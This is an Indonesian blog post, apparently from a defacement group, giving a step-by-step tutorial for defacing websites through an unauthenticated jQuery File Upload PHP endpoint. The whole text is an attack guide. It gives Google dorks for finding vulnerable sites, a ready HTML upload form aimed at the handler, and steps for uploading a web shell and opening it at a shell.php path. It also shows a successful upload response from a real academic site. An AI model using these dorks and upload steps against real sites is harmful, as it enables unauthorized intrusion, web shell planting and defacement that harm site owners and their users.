Cara deface metode Jquery File Upload

Hi sobat, kali ini saya akan share sedikit tutorual deface Jquery File Upload yang baru saya pelajari dari teman se-daerah gwe Z3U54774CK yg berasal dari Team PhantomGhost.

Bahan - bahan ;

Dork :

Inurl:/assets/global/plugins/ site:.co.uk

Inurl:/assets/plugins/ site:.co.uk

Inurl:/assets/global/images/ site:.uk

Csrf :

<form method="POST" action="http://target.com/assets/plugins/jquery-file-upload/server/php/"

enctype="multipart/form-data">

<input type="file" name="files[]" /><button>Upload</button>

</form>

Exploit :

/assets/global/plugins/jquery-file-upload/server/php/

1. Kita dorking ke google menggunakan dork di atas untuk menemukan target, pastikan dorking di google image aja biar dapet yang perawan.
2. Ciri-ciri web yang vuln Jquery file upload adalah halaman putih yang bertuliskan FILES[].
3. Jika sudah menemukan web, silahkan pasang exploit yang sudah di sediakan, sebagai contoh : http://target.co.li/assets/global/plugins/jquery-file-upload/server/php/
4. Simpan CSRF yag sudah saya berikan dengan format HTML, lalu akses CSRF tersebut.
5. Jika sudah silahkan isi Form Upload dengan shell kalian masing-masing atau shell yang ada di blog kami.
6. Jika di halaman bertuliskan seperti ini berarti vuln : {"files":[{"name":"up.html","size":195,"type":"text\/html","url":"http:\/\/www.isif.ac.id\/assets\/plugins\/jquery-file-upload\/server\/php\/files\/up.html","delete_url":"http:\/\/www.isif.ac.id\/assets\/plugins\/jquery-file-upload\/server\/php\/?file=up.html","delete_type":"DELETE"}]}
7. Untuk bisa mengakses shell kita busa di lakukan dengan cara  
8. http://target.co.li/assets/global/plugins/jquery-file-upload/server/php/files/shell.php
9. Happy Defacing.

Mohon bantu sebarkan agar blog ini bisa berkembang.

-Banjarmasin , 7 Desember 2k17